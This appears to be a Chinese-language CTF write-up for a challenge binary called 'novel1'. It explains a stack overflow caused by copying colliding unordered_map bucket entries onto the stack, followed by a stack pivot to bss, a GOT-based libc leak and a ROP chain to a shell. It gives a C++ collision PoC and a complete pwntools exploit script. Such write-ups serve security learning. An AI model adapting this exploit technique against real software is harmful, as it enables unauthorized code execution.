程序分为两部分,partI 可以向 unordered_map bloodstains 中添加 key-value。unordered map 存储键值对的方式是分 bucket,hash % bucket_count 相等的 key 放进同一 bucket,对于 bloodstains,key 类型是 unsigned int,其 std::hash 算法结果就是其值本身。partII 中输入一个 key,把这个 key 所在的 bucket 中的所有 key-value pairs 复制到栈上,如果同一 bucket 中的 key-value 够多,可以造成栈溢出。需要注意当 bucket 满时会进行 rehash,对于不同 size 的 bloodstainsbucket_count 不同,需要重新计算。栈溢出覆盖暂存栈基址和返回地址,利用 gift backdoor RACHE 栈迁移至 bss 段 author,利用 puts@plt GOT leak libc base,然后返回至 fgets 在程序中调用位置写入 ROP chain,getshell。不能使用 glibc-all-in-one 的 libc,必须从 docker image 里拿。

PoC:

#include <iostream>
#include <unordered_map>

int main() {
  std::unordered_map<unsigned int, unsigned long> map;
  for (unsigned int i = 0; i < 0x17; ++i) {
    map[i * 29] = 0;
  }
  std::cout << map.bucket_count() << ' ' << map.size() << ' ' << map.bucket_size(0) << std::endl;
  return 0;
}
// 29 23 23

Exp:

from pwn import *
from ctypes import *

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './novel1'

io = process(binary)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=None)

io.sendlineafter(b'Author: ', p64(e.got['puts']) + p64(0x40A5D8) + p64(e.plt['puts']) + p64(0x40283C) + p64(0x40A5D8) + p64(0x40283C)) # 注意第一次 `fgets` 会立刻返回,需要调用两次。

def add(key: int, value: int):
    io.sendlineafter(b'Chapter: ', b'1')
    io.sendlineafter(b'Blood: ', str(key))
    io.sendlineafter(b'Evidence: ', str(value))

for i in range(0x17):
    add(i * 29, 0x4025be if i == 0xa else 0x40A540 if i == 0xb else i) # 布置栈上数据
io.sendlineafter(b'Chapter: ', b'2')
io.sendlineafter(b'Blood: ', b'0')

io.recvuntil(b'638\n' * 7)
libc.address = u64(io.recvuntil(b'\n', drop=True).ljust(8, b'\x00')) - libc.sym['puts']
success(f'libc_base: {libc.address:x}')

io.sendline(cyclic(40).replace(b'caaadaaa', p64(0x40A5D8)).replace(b'eaaafaaagaaahaaa', p64(0) * 2) + p64(libc.address + 0xebce2)) # 再次写入 ROP

io.interactive()